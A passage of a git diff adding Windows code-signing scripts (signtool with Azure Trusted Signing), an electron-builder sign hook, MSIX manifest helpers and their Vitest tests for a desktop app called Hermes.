`.../ats-bundle-.../x64/Azure.CodeSigning.Dlib.dll`), matching both the + * modern windows-kits-bundle layout and the legacy windows-10/ layout. + */ +function archMatch(file, arch) { + return path.basename(path.dirname(file)).toLowerCase() === arch +} + +/** + * Find azure.codesigning.dlib.dll under the electron-builder cache, preferring + * the one matching the host arch (x64 unless the host is ia32) so signtool can + * load it. Returns an absolute path or null (caller decides loud-fail vs warn). + */ +export function resolveTrustedSigningDlib(env = process.env) { + const arch = signingArch() + for (const root of cacheRoots(env)) { + if (!fs.existsSync(root)) continue + const found = [] + const walk = (p) => { + let entries + try { + entries = fs.readdirSync(p, { withFileTypes: true }) + } catch { + return + } + for (const entry of entries) { + const full = path.join(p, entry.name) + if (entry.isDirectory()) walk(full) + else if (entry.name.toLowerCase() === 'azure.codesigning.dlib.dll') found.push(full) + } + } + for (const entry of fs.readdirSync(root)) { + walk(path.join(root, entry)) + } + if (found.length > 0) { + const matched = found.filter(f => archMatch(f, arch)) + const pool = matched.length > 0 ? matched : found + pool.sort() + return pool[pool.length - 1] + } + } + return null +} + +/** + * Find a host signtool.exe under the electron-builder cache (the winCodeSign + * toolset bundles the Windows Kits tools for arm64/x64/x86), or honor + * SIGNTOOL_PATH. Prefers the signtool matching the host arch — a 32-bit + * signtool cannot load the x64 ATS dlib — and among arch-matched candidates + * the newest SDK build (sorted paths put the highest version last). + * Returns an absolute path or null. + */ +export function resolveSigntool(env = process.env) { + if (env.SIGNTOOL_PATH && fs.existsSync(env.SIGNTOOL_PATH)) return env.SIGNTOOL_PATH + const arch = signingArch() + for (const root of cacheRoots(env)) { + if (!fs.existsSync(root)) continue + const found = [] + for (const entry of fs.readdirSync(root)) { + const dir = path.join(root, entry) + if (!fs.existsSync(dir) || !fs.statSync(dir).isDirectory()) continue + const walk = (p, depth) => { + if (depth > 5) return + let entries + try { + entries = fs.readdirSync(p, { withFileTypes: true }) + } catch { + return + } + for (const sub of entries) { + if (sub.isSymbolicLink()) continue + const full = path.join(p, sub.name) + if (sub.isDirectory()) walk(full, depth + 1) + else if (sub.name.toLowerCase() === 'signtool.exe') found.push(full) + } + } + walk(dir, 0) + } + if (found.length > 0) { + const matched = found.filter(f => archMatch(f, arch)) + const pool = matched.length > 0 ? matched : found + pool.sort() + return pool[pool.length - 1] + } + } + return null +} + +/** + * Find the bundled .NET 8 runtime dir (win-codesign@<ver>/dotnet-runtime-*). + * The ATS dlib is a .NET assembly loaded via Ijwhost.dll, which locates + * hostfxr.dll through DOTNET_ROOT — without it the dlib cannot initialize even + * with a same-arch signtool/dlib pair. Returns an absolute path or null. + */ +export function resolveDotnetRuntimeDir(env = process.env) { + for (const root of cacheRoots(env)) { + if (!fs.existsSync(root)) continue + const found = [] + const walk = (p, depth) => { + if (depth > 3) return + let entries + try { + entries = fs.readdirSync(p, { withFileTypes: true }) + } catch { + return + } + for (const entry of entries) { + if (!entry.isDirectory()) continue + const full = path.join(p, entry.name) + if (/^dotnet-runtime-/.test(entry.name)) found.push(full) + else walk(full, depth + 1) + } + } + for (const entry of fs.readdirSync(root)) { + walk(path.join(root, entry), 0) + } + if (found.length > 0) { + found.sort() + return found[found.length - 1] + } + } + return null +} + +/** + * Sign one chunk of binaries with a single signtool invocation (argv array, + * never a shell string — the joined list can be long and must not interpolate + * through a shell). + * + * @param {string[]} files + * @param {{ signtool: string, dlib: string, metadataPath: string, exec?: typeof execFileSync, env?: NodeJS.ProcessEnv }} opts + */ +export function signChunk(files, opts) { + const exec = opts.exec ?? execFileSync + const execOptions = { stdio: 'inherit' } + if (opts.env) execOptions.env = opts.env + exec(opts.signtool, [ + 'sign', + '/fd', 'SHA256', + '/td', 'SHA256', + '/tr', 'http://timestamp.acs.microsoft.com', + '/dlib', opts.dlib, + '/dmdf', opts.metadataPath, + ...files + ], execOptions) +} + +/** + * Batch-sign every binary under a tree. + * + * @param {string[]} binaries file list from getBinaries + * @param {{ env?: NodeJS.ProcessEnv, exec?: typeof execFileSync, chunkSize?: number, mkdtemp?: typeof fs.mkdtempSync, signtool?: string, dlib?: string }} [opts] + * @returns {{ signed: number, chunks: number, skipped: boolean }} + * skipped=true when Azure signing is not configured (caller warns). + */ +export function batchSignBinaries(binaries, opts = {}) { + const env = opts.env ?? process.env + if (!azureSigningConfigured(env)) { + return { signed: 0, chunks: 0, skipped: true } + } + if (binaries.length === 0) { + return { signed: 0, chunks: 0, skipped: false } + } + const dlib = opts.dlib ?? resolveTrustedSigningDlib(env) + if (!dlib) { + throw new Error('batch-sign-binaries: azure.codesigning.dlib.dll not found under the electron-builder cache') + } + const signtool = opts.signtool ?? resolveSigntool(env) + if (!signtool) { + throw new Error('batch-sign-binaries: signtool.exe not found under the electron-builder cache (or SIGNTOOL_PATH)') + } + // The ATS dlib is a .NET assembly; Ijwhost.dll finds hostfxr.dll via + // DOTNET_ROOT. Mirror app-builder-lib's WindowsSignAzureManager and point it + // at the bundled runtime so the dlib initializes (a missing runtime reads as + // "no certificates found"). Only merged when a runtime dir exists. + const signEnv = { ...env } + const dotnetRoot = opts.dotnetRoot ?? resolveDotnetRuntimeDir(env) + if (dotnetRoot) signEnv.DOTNET_ROOT = dotnetRoot + const mkdtemp = opts.mkdtemp ?? fs.mkdtempSync + const tmpDir = mkdtemp(path.join(env.TEMP || env.TMP || '.', 'batch-sign-')) + const metadataPath = path.join(tmpDir, 'batch-sign.json') + fs.writeFileSync(metadataPath, JSON.stringify({ + Endpoint: env.AZURE_SIGN_ENDPOINT, + CodeSigningAccountName: env.AZURE_SIGN_ACCOUNT, + CertificateProfileName: env.AZURE_SIGN_PROFILE + })) + try { + const batches = chunk(binaries, opts.chunkSize ?? CHUNK_SIZE) + for (const batch of batches) { + signChunk(batch, { signtool, dlib, metadataPath, exec: opts.exec, env: signEnv }) + } + return { signed: binaries.length, chunks: batches.length, skipped: false } + } finally { + fs.rmSync(tmpDir, { recursive: true, force: true }) + } +} + +/** + * afterPack-side entry: batch-sign the packed tree, excluding the product exe + * (it is rcedit-ed and signed per-file after this hook — see the header). + * Callers must have run sanitize-pe-signatures.mjs first. + * + * @param {string} appOutDir + * @param {string} productExePath absolute path of the main product exe + * @param {{ env?: NodeJS.ProcessEnv, exec?: typeof execFileSync }} [opts] + */ +export function batchSignAppTree(appOutDir, productExePath, opts = {}) { + const env = opts.env ?? process.env + if (!azureSigningConfigured(env)) { + console.warn( + '[batch-sign] AZURE_SIGN_* not set — payload binaries will be UNSIGNED ' + + '(package block-map still covers them; release lanes must set the signing env)' + ) + return { signed: 0, chunks: 0, skipped: true } + } + const productExe = productExePath ? path.resolve(productExePath) : null + const binaries = getBinaries(appOutDir, { + skip: (file) => (productExe ? path.resolve(file) === productExe : false) + }) + if (binaries.length === 0) return { signed: 0, chunks: 0, skipped: false } + const result = batchSignBinaries(binaries, opts) + console.log( + `[batch-sign] signed ${result.signed} payload binaries in ${result.chunks} signtool batch(es)` + + ` (product exe excluded — signed per-file after rcedit)` + ) + return result +} + +// ── electron-builder custom win.sign hook ─────────────────────────────────── +// +// Per app-builder-lib's signtoolBaseSignManager, the custom `sign` hook is +// invoked once per signable file (the product exe after rcedit, top-level +// exes, asar.unpacked natives, extraResource exes). The hook's return value is +// ignored by the manager, but per the Task 0 contract it resolves true for +// files the afterPack batch already signed — a no-op — and delegates the two +// artifacts that genuinely need per-file signing to the sign-msix.mjs Azure +// machinery: the .msix/.msixbundle package and the product exe. + +const SIGNABLE_PACKAGE_EXTENSIONS = ['.msix', '.msixbundle'] +const STORE_ARTIFACT_PREFIX = 'Store-' + +/** + * The electron-builder custom win.sign hook. + * + * @param {{ path: string }} configuration + * @param {any} packager + * @param {{ signMsix?: (configuration: any, packager: any) => Promise, azureSignFile?: (file: string, packager: any) => Promise }} [deps] + * @returns {Promise} true when this hook handled the file + * (batch-signed: nothing to do) — electron-builder must not re-sign it. + */ +export async function customSign(configuration, packager, deps = {}) { + const file = configuration.path + const base = path.basename(file) + // Store-submission packages are Partner Center's to sign (see sign-msix.mjs). + if (base.startsWith(STORE_ARTIFACT_PREFIX)) return true + const lower = file.toLowerCase() + if (SIGNABLE_PACKAGE_EXTENSIONS.some(ext => lower.endsWith(ext))) { + const { default: signMsix } = await import('./sign-msix.mjs') + await (deps.signMsix ?? signMsix)(configuration, packager) + return true + } + // The product exe was rcedit-ed after the batch ran, so it is signed here, + // after its resources are final, on the same Azure manager sign-msix uses. + const productName = packager?.appInfo?.productFilename + if (productName && base.toLowerCase() === `${productName.toLowerCase()}.exe`) { + const { azureSignFile } = await import('./sign-msix.mjs') + await (deps.azureSignFile ?? azureSignFile)(file, packager) + return true + } + // Everything else the hook is offered was already batch-signed in afterPack. + return true +} + +function main() { + const root = process.argv[2] + if (!root) { + console.error('usage: batch-sign-binaries.mjs ') + process.exit(2) + } + const result = batchSignAppTree(root, process.env.HERMES_PRODUCT_EXE || path.join(root, 'Hermes.exe')) + if (result.skipped) process.exit(0) +} + +if (isMain(import.meta.url)) { + main() +} + +// electron-builder's resolveFunction prefers a named export matching the hook +// name ("sign") and falls back to the module default — provide both so the +// config's `sign: './scripts/batch-sign-binaries.mjs'` binds to customSign. +export { customSign as sign } +export default customSign diff --git a/apps/desktop/scripts/batch-sign-binaries.test.mjs b/apps/desktop/scripts/batch-sign-binaries.test.mjs new file mode 100644 index 0000000000..bdbad622f8 --- /dev/null +++ b/apps/desktop/scripts/batch-sign-binaries.test.mjs @@ -0,0 +1,336 @@ +import assert from 'node:assert/strict' +import fs from 'node:fs' +import os from 'node:os' +import path from 'node:path' + +import { afterEach, test } from 'vitest' + +import { + azureSigningConfigured, + batchSignAppTree, + chunk, + customSign, + getBinaries, + resolveDotnetRuntimeDir, + resolveSigntool, + resolveTrustedSigningDlib, + signingArch +} from './batch-sign-binaries.mjs' + +const tmpDirs = [] + +afterEach(() => { + for (const dir of tmpDirs.splice(0)) { + fs.rmSync(dir, { recursive: true, force: true }) + } +}) + +function tmpTree() { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'batch-sign-test-')) + tmpDirs.push(dir) + return dir +} + +test('getBinaries collects .exe and .dll recursively, case-insensitive, sorted', () => { + const root = tmpTree() + fs.mkdirSync(path.join(root, 'resources', 'agent-payload', 'tools', 'python', 'bin'), { recursive: true }) + fs.mkdirSync(path.join(root, 'resources', 'agent-payload', 'tools', 'chromium-1', 'meep'), { recursive: true }) + fs.writeFileSync(path.join(root, 'Hermes.exe'), 'x') + fs.writeFileSync(path.join(root, 'ffmpeg.dll'), 'x') + fs.writeFileSync(path.join(root, 'resources', 'agent-payload', 'tools', 'python', 'bin', 'node.exe'), 'x') + fs.writeFileSync(path.join(root, 'resources', 'agent-payload', 'tools', 'chromium-1', 'meep', 'chrome.dll'), 'x') + fs.writeFileSync(path.join(root, 'resources', 'README.md'), 'x') + + const files = getBinaries(root).map(f => path.relative(root, f)) + + assert.deepEqual(files, [ + path.join('Hermes.exe'), + path.join('ffmpeg.dll'), + path.join('resources', 'agent-payload', 'tools', 'chromium-1', 'meep', 'chrome.dll'), + path.join('resources', 'agent-payload', 'tools', 'python', 'bin', 'node.exe') + ]) +}) + +test('getBinaries skips symlinks and honors the skip predicate (product exe)', () => { + const root = tmpTree() + fs.mkdirSync(path.join(root, 'tools'), { recursive: true }) + const target = path.join(root, 'tools', 'real.exe') + fs.writeFileSync(target, 'x') + fs.writeFileSync(path.join(root, 'Hermes.exe'), 'x') + const link = path.join(root, 'tools', 'link.exe') + try { + fs.symlinkSync(target, link) + } catch { + // Windows without symlink privilege: the collection contract under test + // is the skip predicate; symlink skipping is covered on the other OS. + } + + const exe = path.join(root, 'Hermes.exe') + const files = getBinaries(root, { skip: file => path.resolve(file) === exe }) + + assert.equal(files.includes(exe), false) + assert.equal(files.includes(target), true) + if (fs.existsSync(link)) { + assert.equal(files.includes(link), false) + } +}) + +test('getBinaries tolerates a missing directory', () => { + assert.deepEqual(getBinaries(path.join(tmpTree(), 'nope')), []) +}) + +test('chunk splits into ~100-file batches with no leftovers', () => { + assert.deepEqual(chunk([], 100), []) + const two50 = Array.from({ length: 250 }, (_, i) => `f${i}.exe`) + const batches = chunk(two50) + assert.equal(batches.length, 3) + assert.deepEqual(batches.map(b => b.length), [100, 100, 50]) + assert.deepEqual(batches.flat(), two50) + + const exact = Array.from({ length: 200 }, (_, i) => `f${i}.exe`) + assert.deepEqual(chunk(exact).map(b => b.length), [100, 100]) +}) + +test('azureSigningConfigured requires endpoint, account, and profile together', () => { + assert.equal(azureSigningConfigured({}), false) + assert.equal(azureSigningConfigured({ AZURE_SIGN_ENDPOINT: 'https://cus.codesigning.azure.net' }), false) + assert.equal( + azureSigningConfigured({ + AZURE_SIGN_ENDPOINT: 'https://cus.codesigning.azure.net', + AZURE_SIGN_ACCOUNT: 'codesign2' + }), + false + ) + assert.equal( + azureSigningConfigured({ + AZURE_SIGN_ENDPOINT: 'https://cus.codesigning.azure.net', + AZURE_SIGN_ACCOUNT: 'codesign2', + AZURE_SIGN_PROFILE: 'hermesagent' + }), + true + ) +}) + +test('customSign returns true for batch-covered payload files without touching Azure', async () => { + let azureTouched = 0 + const result = await customSign( + { path: 'C:/out/win-unpacked/resources/agent-payload/tools/node.exe' }, + { appInfo: { productFilename: 'Hermes' } }, + { azureSignFile: async () => { azureTouched += 1 } } + ) + assert.equal(result, true) + assert.equal(azureTouched, 0) +}) + +test('customSign skips Store- submission packages (Partner Center signs)', async () => { + const result = await customSign( + { path: 'C:/out/Store-HermesBundled-0.28.0-win-x64.msix' }, + { appInfo: { productFilename: 'Hermes' } }, + { signMsix: async () => { throw new Error('must not be called') } } + ) + assert.equal(result, true) +}) + +test('customSign delegates the msix package and the product exe to the Azure signer', async () => { + const delegated = [] + const deps = { + signMsix: async configuration => delegated.push(['msix', configuration.path]), + azureSignFile: async file => delegated.push(['exe', file]) + } + const packager = { appInfo: { productFilename: 'Hermes' } } + + await customSign({ path: 'C:/out/HermesBundled-0.28.0-win-x64.msix' }, packager, deps) + await customSign({ path: 'C:/out/win-unpacked/Hermes.exe' }, packager, deps) + + // The hook's contract is `true` (handled) even when it delegated — + // electron-builder must not fall back to per-file default signing. + assert.deepEqual(delegated, [ + ['msix', 'C:/out/HermesBundled-0.28.0-win-x64.msix'], + ['exe', 'C:/out/win-unpacked/Hermes.exe'] + ]) + assert.equal(await customSign({ path: 'C:/out/win-unpacked/Hermes.exe' }, packager, deps), true) +}) + +test('customSign does not mistake a similarly-named payload exe for the product exe', async () => { + const deps = { + azureSignFile: async () => { throw new Error('must not be called') } + } + assert.equal( + await customSign( + { path: 'C:/out/win-unpacked/resources/Hermes-helper.exe' }, + { appInfo: { productFilename: 'Hermes' } }, + deps + ), + true + ) +}) + +test('batchSignAppTree is a no-op (skipped=true) without the Azure env, and signs via chunked argv-array invocations when set', () => { + const root = tmpTree() + fs.mkdirSync(path.join(root, 'tools'), { recursive: true }) + const exe = path.join(root, 'Hermes.exe') + fs.writeFileSync(exe, 'x') + fs.writeFileSync(path.join(root, 'tools', 'node.exe'), 'x') + fs.writeFileSync(path.join(root, 'tools', 'ffmpeg.dll'), 'x') + + // Unsigned lane: loud no-op, nothing invoked. + const skipped = batchSignAppTree(root, exe, { env: {} }) + assert.deepEqual(skipped, { signed: 0, chunks: 0, skipped: true }) + + // Signed lane: product exe excluded, chunked execFileSync with argv arrays. + const invocations = [] + const fakeExec = (tool, args) => { + invocations.push({ tool, args }) + return Buffer.from('') + } + const result = batchSignAppTree(root, exe, { + env: { + AZURE_SIGN_ENDPOINT: 'https://cus.codesigning.azure.net', + AZURE_SIGN_ACCOUNT: 'codesign2', + AZURE_SIGN_PROFILE: 'hermesagent' + }, + exec: fakeExec, + mkdtemp: () => root, + signtool: 'signtool.exe', + dlib: 'azure.codesigning.dlib.dll' + }) + + assert.deepEqual(result, { signed: 2, chunks: 1, skipped: false }) + assert.equal(invocations.length, 1) + assert.equal(invocations[0].tool, 'signtool.exe') + assert.ok(Array.isArray(invocations[0].args), 'argv array, never a shell string') + const args = invocations[0].args + assert.ok(!args.some(arg => typeof arg === 'string' && arg.includes(' '))) + assert.equal(args.includes(exe), false, 'product exe excluded — signed per-file after rcedit') + assert.equal(args.includes(path.join(root, 'tools', 'node.exe')), true) + assert.equal(args.includes(path.join(root, 'tools', 'ffmpeg.dll')), true) + assert.equal(args[args.indexOf('/dlib') + 1], 'azure.codesigning.dlib.dll') + assert.ok(args[args.indexOf('/dmdf') + 1].endsWith('batch-sign.json')) + assert.equal(args[args.indexOf('/fd') + 1], 'SHA256') + assert.equal(args[args.indexOf('/td') + 1], 'SHA256') +}) + +test('batchSignAppTree chunks large trees into ~100-file signtool invocations', () => { + const root = tmpTree() + fs.mkdirSync(path.join(root, 'tools'), { recursive: true }) + for (let i = 0; i < 250; i += 1) { + fs.writeFileSync(path.join(root, 'tools', `bin${i}.exe`), 'x') + } + + const invocations = [] + const result = batchSignAppTree(root, path.join(root, 'Hermes.exe'), { + env: { + AZURE_SIGN_ENDPOINT: 'https://cus.codesigning.azure.net', + AZURE_SIGN_ACCOUNT: 'codesign2', + AZURE_SIGN_PROFILE: 'hermesagent' + }, + exec: (tool, args) => { + invocations.push(args) + return Buffer.from('') + }, + mkdtemp: () => root, + signtool: 'signtool.exe', + dlib: 'azure.codesigning.dlib.dll' + }) + + assert.deepEqual(result, { signed: 250, chunks: 3, skipped: false }) + assert.equal(invocations.length, 3) + assert.deepEqual( + invocations.map(batch => batch.filter(arg => arg.endsWith('.exe')).length), + [100, 100, 50] + ) + const flat = invocations.flat().filter(arg => arg.endsWith('.exe')) + assert.equal(new Set(flat).size, 250, 'every binary signed exactly once') +}) + +// ── toolset resolution: signtool + dlib must be same-arch ─────────────────── +// The ATS bundle ships the dlib for x64/x86 only and a 32-bit signtool cannot +// load a 64-bit dlib — resolveSigntool/resolveTrustedSigningDlib must pair the +// HOST arch, never "whatever sorted last" (which picked x86 signtool + x64 +// dlib and broke signing with "No certificates were found"). Regression for +// the win32-x64 release build failure. + +function fakeToolsetCache() { + const cache = path.join(tmpTree(), 'electron-builder', 'Cache') + const kits = path.join(cache, 'win-codesign@1.3.0', 'windows-kits-bundle-10_0_26100_0-abc') + for (const arch of ['arm64', 'x64', 'x86']) { + fs.mkdirSync(path.join(kits, arch), { recursive: true }) + fs.writeFileSync(path.join(kits, arch, 'signtool.exe'), 'x') + } + const ats = path.join(cache, 'win-codesign@1.3.0', 'ats-bundle-1_0_95-def') + for (const arch of ['x64', 'x86']) { + fs.mkdirSync(path.join(ats, arch), { recursive: true }) + fs.writeFileSync(path.join(ats, arch, 'Azure.CodeSigning.Dlib.dll'), 'x') + } + fs.mkdirSync(path.join(cache, 'win-codesign@1.3.0', 'dotnet-runtime-win-x64-8_0_28-ghi'), { recursive: true }) + return { cache, kits, ats } +} + +test('signingArch matches the host (x64 unless ia32)', () => { + assert.equal(signingArch(), process.arch === 'ia32' ? 'x86' : 'x64') +}) + +test('resolveSigntool prefers the host-arch kit over x86', () => { + const { cache } = fakeToolsetCache() + const signtool = resolveSigntool({ ELECTRON_BUILDER_CACHE: cache }) + const expectedArch = signingArch() + assert.ok(signtool, 'a signtool must resolve from the fake cache') + assert.ok( + signtool.toLowerCase().includes(`\\${expectedArch}\\signtool.exe`) || + signtool.toLowerCase().includes(`/${expectedArch}/signtool.exe`), + `expected the ${expectedArch} signtool, got ${signtool}` + ) +}) + +test('resolveTrustedSigningDlib prefers the host-arch dlib over x86', () => { + const { cache } = fakeToolsetCache() + const dlib = resolveTrustedSigningDlib({ ELECTRON_BUILDER_CACHE: cache }) + const expectedArch = signingArch() + assert.ok(dlib, 'a dlib must resolve from the fake cache') + assert.ok( + dlib.toLowerCase().includes(`\\${expectedArch}\\azure.codesigning.dlib.dll`) || + dlib.toLowerCase().includes(`/${expectedArch}/azure.codesigning.dlib.dll`), + `expected the ${expectedArch} dlib, got ${dlib}` + ) +}) + +test('resolveDotnetRuntimeDir finds the bundled .NET runtime dir', () => { + const { cache } = fakeToolsetCache() + const dotnet = resolveDotnetRuntimeDir({ ELECTRON_BUILDER_CACHE: cache }) + assert.ok(dotnet, 'the dotnet-runtime bundle must resolve') + assert.ok(/dotnet-runtime-/.test(path.basename(dotnet)), `unexpected dotnet dir ${dotnet}`) +}) + +test('batchSignBinaries sets DOTNET_ROOT from the bundled runtime for the signtool child', () => { + const { cache } = fakeToolsetCache() + const root = tmpTree() + fs.mkdirSync(path.join(root, 'tools'), { recursive: true }) + fs.writeFileSync(path.join(root, 'tools', 'node.exe'), 'x') + const exe = path.join(root, 'Hermes.exe') + + const invocations = [] + const result = batchSignAppTree(root, exe, { + env: { + ELECTRON_BUILDER_CACHE: cache, + AZURE_SIGN_ENDPOINT: 'https://cus.codesigning.azure.net', + AZURE_SIGN_ACCOUNT: 'codesign2', + AZURE_SIGN_PROFILE: 'hermesagent' + }, + exec: (tool, args, opts) => { + invocations.push({ tool, args, opts }) + return Buffer.from('') + }, + mkdtemp: () => root + }) + + assert.equal(result.signed, 1) + assert.equal(invocations.length, 1) + const opts = invocations[0].opts + assert.ok(opts && opts.env, 'exec must receive a child env') + assert.equal(opts.env.DOTNET_ROOT, path.join(cache, 'win-codesign@1.3.0', 'dotnet-runtime-win-x64-8_0_28-ghi')) + // The signtool chosen must be the host-arch one, not x86. + assert.match(invocations[0].tool, new RegExp(`[\\\\/]${signingArch()}[\\\\/]signtool\\.exe$`)) + // dlib must be same arch. + const dlibArg = invocations[0].args[invocations[0].args.indexOf('/dlib') + 1] + assert.match(dlibArg, new RegExp(`[\\\\/]${signingArch()}[\\\\/]azure\\.codesigning\\.dlib\\.dll$`, 'i')) +}) diff --git a/apps/desktop/scripts/before-build.mjs b/apps/desktop/scripts/before-build.mjs index e9a1d843ae..04d81edf12 100644 --- a/apps/desktop/scripts/before-build.mjs +++ b/apps/desktop/scripts/before-build.mjs @@ -6,6 +6,106 @@ * longer bundled; the Electron app fetches it at first launch via * `install.ps1`'s stage protocol (Windows). See `electron/main.ts`. */ +import fs from 'node:fs' +import path from 'node:path' +import { createRequire } from 'node:module' + +import { CLI_LAUNCHER_SPECS } from '../../../scripts/desktop-cli/cli-entrypoints.mjs' + +const require = createRequire(import.meta.url) +const { + light, + displayName, + appNamePascal +} = require('../product-identity.cjs') + export default async function beforeBuild() { return false } + +function stageMsixAssets() { + const desktop = path.join(import.meta.dirname, '..') + const sourceDir = path.join(desktop, 'assets', 'appx') + const stageDir = path.join(desktop, 'build', 'appx') + const names = [ + 'Square44x44Logo.png', + 'Square150x150Logo.png', + 'StoreLogo.png', + 'Wide310x150Logo.png' + ] + + fs.mkdirSync(stageDir, { recursive: true }) + for (const name of names) { + const source = path.join(sourceDir, name) + if (!fs.existsSync(source)) { + throw new Error(`missing MSIX asset ${source}`) + } + fs.copyFileSync(source, path.join(stageDir, name)) + } +} + +function writeMsixExtensions() { + const desktop = path.join(import.meta.dirname, '..') + const output = path.join('build', 'msix-extensions.xml') + const file = path.join(desktop, output) + // One uap5:Extension per payload CLI launcher exe (see + // scripts/desktop-cli/cli-entrypoints.mjs): the minted exes are three + // REAL executables now — the old rust shim's one-exe-argv[0]-dispatch is + // gone — and an AppExecutionAlias's Executable must name the exact exe + // that serves the alias, so each alias gets its own Extension block. + const aliases = light ? '' : appExecutionAliasExtensions() + // The uap3:AppExtension fragment that registers the app as a Windows + // Copilot hardware key provider. The press activates hermes://copilot-key/start. + // + // Content rules (violations are an opaque makeappx 0x80080204): + // * xmlns:uap3 rides on the fragment root — the stock manifest template + // declares no uap3 prefix. A/B-verified fine. + // * children of uap3:Properties are UNPREFIXED (xs:any content, per + // Microsoft's copilot-key-state sample). + const copilot = light + ? '' + : ` + + + hermes://copilot-key/start?state=Tap + hermes://copilot-key/start?state=Down + hermes://copilot-key/stop?state=Up + + + +${aliases}` + + fs.mkdirSync(path.dirname(file), { recursive: true }) + fs.writeFileSync(file, copilot) +} + +/** + * One uap5:Extension block per payload CLI launcher, each naming its own + * Executable (the distlib-minted launcher exes under bin/) and the alias + * that exe serves. Exported pure for tests. + * @param {{ name: string }[]} [launchers] exe stems under bin/ + */ +export function appExecutionAliasExtensions(launchers = CLI_LAUNCHER_SPECS.map((s) => s.name)) { + const bs = String.fromCharCode(92) + const executable = (name) => ['app', 'resources', 'agent-payload', 'bin', `${name}.exe`].join(bs) + return launchers + .map( + (name) => ` + + + +` + ) + .join('\n') +} diff --git a/apps/desktop/scripts/cli-launchers.test.mjs b/apps/desktop/scripts/cli-launchers.test.mjs new file mode 100644 index 0000000000..63eedadfe0 --- /dev/null +++ b/apps/desktop/scripts/cli-launchers.test.mjs @@ -0,0 +1,115 @@ +import assert from 'node:assert/strict' +import path from 'node:path' +import { fileURLToPath } from 'node:url' + +import { test } from 'vitest' + +import { CLI_LAUNCHER_SPECS, posixTrampolineScripts, renderWinWrapper } from '../../../scripts/desktop-cli/cli-entrypoints.mjs' +import { appExecutionAliasExtensions } from './before-build.mjs' + +const scriptDir = path.dirname(fileURLToPath(import.meta.url)) + +// The payload layout facts every generator receives (bin-relative, forward +// slashes — the same composition build-bundled-desktop.mjs step 5b feeds in). +const RELS = { + relPython: '../tools/cpython-3.11.16+20260814-win32-x64/bin/python3', + relSite: '../venv/lib/python3.11/site-packages', + relRepo: '../hermes-agent' +} + +test('three launcher specs mirror [project.scripts] in pyproject.toml', () => { + assert.deepEqual(CLI_LAUNCHER_SPECS.map((s) => s.name), ['hermes', 'hermes-agent', 'hermes-acp']) + assert.deepEqual(CLI_LAUNCHER_SPECS.map((s) => `${s.module}:${s.func}`), [ + 'hermes_cli.main:main', + 'run_agent:main', + 'acp_adapter.entry:main' + ]) +}) + +const scripts = posixTrampolineScripts(RELS) + +test('one POSIX trampoline per entry, named plainly (no suffix)', () => { + assert.deepEqual(scripts.map((s) => s.name), ['hermes', 'hermes-agent', 'hermes-acp']) +}) + +test('trampoline is $0-relative: shebang, symlink-chain resolution, own-dir cd', () => { + const text = scripts[0].text + assert.ok(text.startsWith('#!/usr/bin/env bash\n')) + // The whole relocatability contract: nothing in the script may be an + // absolute path or a Windows path — everything resolves off $0. + for (const line of text.split('\n')) { + const code = line.replace(/^#/, '').trim() + assert.ok(!/[A-Za-z]:\\/.test(code), `windows path in generated script: ${line}`) + assert.ok(!/=\s*\/(?!usr\/bin\/env)/.test(code), `absolute path in generated script: ${line}`) + } + assert.match(text, /self="\$0"/) + assert.match(text, /while \[ -L "\$self" \]/) + assert.match(text, /BIN_DIR="\$\(cd -- "\$\(dirname -- "\$self"\)" && pwd\)"/) + assert.match(text, /PYTHON="\$BIN_DIR"\/\.\.\/tools\//) +}) + +test('trampoline composes the payload import roots (repo first) and replaces inherited PYTHONPATH', () => { + const text = scripts[0].text + assert.match(text, /unset PYTHONPATH PYTHONHOME/) + assert.match(text, /export PYTHONPATH="\$REPO:\$SITE"/) + assert.match(text, /REPO="\$BIN_DIR"\/\.\.\/hermes-agent/) + assert.match(text, /SITE="\$BIN_DIR"\/\.\.\/venv\/lib\/python3\.11\/site-packages/) +}) + +test('trampoline keeps pycache out of the payload and execs the entry module', () => { + const text = scripts[0].text + assert.match(text, /PYTHONPYCACHEPREFIX="\$HOME\/\.cache\/hermes-pycache"/) + assert.match(text, /if \[ -z "\$\{PYTHONPYCACHEPREFIX:-\}" \]/, 'user-set prefix must win') + assert.match(text, /exec "\$PYTHON" -m hermes_cli\.main "\$@"/) +}) + +test('trampoline fails loudly (exit 2) when the bundled interpreter is missing', () => { + const text = scripts[0].text + assert.match(text, /bundled interpreter missing at \$PYTHON/) + assert.match(text, /exit 2/) +}) + +test('each trampoline execs its own entry module', () => { + const modules = scripts.map((s) => /exec "\$PYTHON" -m (\S+) "\$@"/.exec(s.text)?.[1]) + assert.deepEqual(modules, ['hermes_cli.main', 'run_agent', 'acp_adapter.entry']) +}) + +test('win wrapper substitution bakes the entry module and payload layout facts', () => { + const text = renderWinWrapper(CLI_LAUNCHER_SPECS[0], RELS.relRepo, RELS.relSite) + assert.ok(!text.includes('__HERMES_'), 'placeholders must be fully substituted') + assert.match(text, /HERMES_ENTRY_MODULE = "hermes_cli\.main"/) + assert.match(text, /HERMES_ENTRY_FUNC = "main"/) + assert.match(text, /HERMES_REPO_REL = "\.\.\/hermes-agent"/) + assert.match(text, /HERMES_SITE_REL = "\.\.\/venv\/lib\/python3\.11\/site-packages"/) +}) + +test('win wrapper rejects values that still contain placeholders', () => { + assert.throws(() => renderWinWrapper({ module: '__HERMES_REPO_REL__', func: 'main' }, RELS.relRepo, RELS.relSite)) +}) + +test('MSIX: one uap5 alias Extension per launcher exe, Executable naming that exe', () => { + const xml = appExecutionAliasExtensions() + const blocks = xml.match(//g) ?? [])) { + assert.equal((block.match(/ { + // The light gating lives in writeMsixExtensions (light ? '' : ...); the + // pure builder must stay gating-free, so just pin its shape here. + assert.ok(appExecutionAliasExtensions(['hermes']).includes('windows.appExecutionAlias')) + assert.ok(scriptDir.length > 0) +}) diff --git a/apps/desktop/scripts/gen-msix-manifest.mjs b/apps/desktop/scripts/gen-msix-manifest.mjs new file mode 100644 index 0000000000..dc0d3ea2e0 --- /dev/null +++ b/apps/desktop/scripts/gen-msix-manifest.mjs @@ -0,0 +1,115 @@ +// Generate the AppxManifest.xml that MsixTarget.writeManifest produces on +// the win32 CI lane, using the REAL app-builder-lib helpers and the real +// builder config, so the manifest can be inspected off-Windows — makeappx +// reports every manifest problem as a bare 0x80080204, and this is the +// XML it is rejecting. +// +// Usage (from apps/desktop): +// node scripts/gen-msix-manifest.mjs [bundled|light] [x64|arm64] +// +// The output is the substituted manifest on stdout. Imports reach into +// app-builder-lib's dist because the exports map hides the internals; the +// paths are the same ones MsixTarget itself uses, so a bump that moves +// them fails here loudly. +import { 